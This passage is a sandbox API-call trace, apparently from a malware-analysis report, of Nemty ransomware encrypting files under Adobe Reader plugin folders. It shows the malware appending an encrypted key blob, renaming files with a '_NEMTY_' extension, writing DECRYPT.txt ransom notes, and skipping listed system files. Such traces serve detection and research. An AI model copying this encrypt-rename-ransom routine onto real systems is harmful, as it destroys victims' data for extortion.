lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUM", lpUsedDefaultChar=0x0) returned 16 [0192.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUM", lpUsedDefaultChar=0x0) returned 16 [0192.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUM", lpUsedDefaultChar=0x0) returned 16 [0192.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUM", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUM", lpUsedDefaultChar=0x0) returned 16 [0192.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.118] Sleep (dwMilliseconds=0x5) [0192.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2629eb30, dwHighDateTime=0x1d561e8)) [0192.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2629eb30, dwHighDateTime=0x1d561e8)) [0192.127] GetLastError () returned 0x0 [0192.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.128] GetLastError () returned 0x0 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.128] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.128] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.128] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.128] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="1voWnYrluhDwAzHfNWE5S33Yz/xny+T+hYZshrcLzCaj5dzjwX5MtGU+BdNif8M9\r\na3NmNAY6QxWLclPpu/prXoaEfq/lrFhwdlB9OgqUAO48WqyOWz7E63FUeX5j0I1R\r\nw9EFoR2hBY/BP+cqM3OMgJu+OypdaAq1/S0oy2rI1bz3QJKTHoZ9LAjsXbuVFbHT\r\n4s/jfV09S+EyCp2Xl/D5t4mRcmrl3flpMOv16MIQ3/MEocDf57WIOBIEKRJ1F4Yd\r\nnZF3/olQ99iw8FQm3KTeIj1ICNIenc4oWNucU+Nten2zqAr06F++NxIi19rODTeT\r\nW39/YEwy/o/37dciP31vPQ==\r\n", pcchString=0x653e29c) returned 1 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.128] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\WindowsMedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\windowsmedia.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.128] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.129] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.129] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.130] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.130] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.130] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.130] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.131] CloseHandle (hObject=0x2f0) returned 1 [0192.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\WindowsMedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\windowsmedia.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\WindowsMedia.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\windowsmedia.rum._nemty_kgobjgd_")) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.132] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261e0450, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x261e0450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x261e0450, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.132] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.133] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261e0450, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x261e0450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x261e0450, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.133] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.133] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0192.133] lstrcmpiW (lpString1="MPP_RUS", lpString2=".") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="..") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="...") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="windows") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="$RECYCLE.BIN") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="rsa") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="NTDETECT.COM") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="ntldr") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="MSDOS.SYS") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="IO.SYS") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="boot.ini") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="boot.ini") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="AUTOEXEC.BAT") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="ntuser.dat") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="desktop.ini") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="CONFIG.SYS") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="RECYCLER") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="BOOTSECT.BAK") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="bootmgr") returned 1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="programdata") returned -1 [0192.134] lstrcmpiW (lpString1="MPP_RUS", lpString2="appdata") returned 1 [0192.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUS", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_RUS", lpUsedDefaultChar=0x0) returned 7 [0192.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUS", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_RUS", lpUsedDefaultChar=0x0) returned 7 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0192.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0192.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0192.137] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.137] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0192.138] 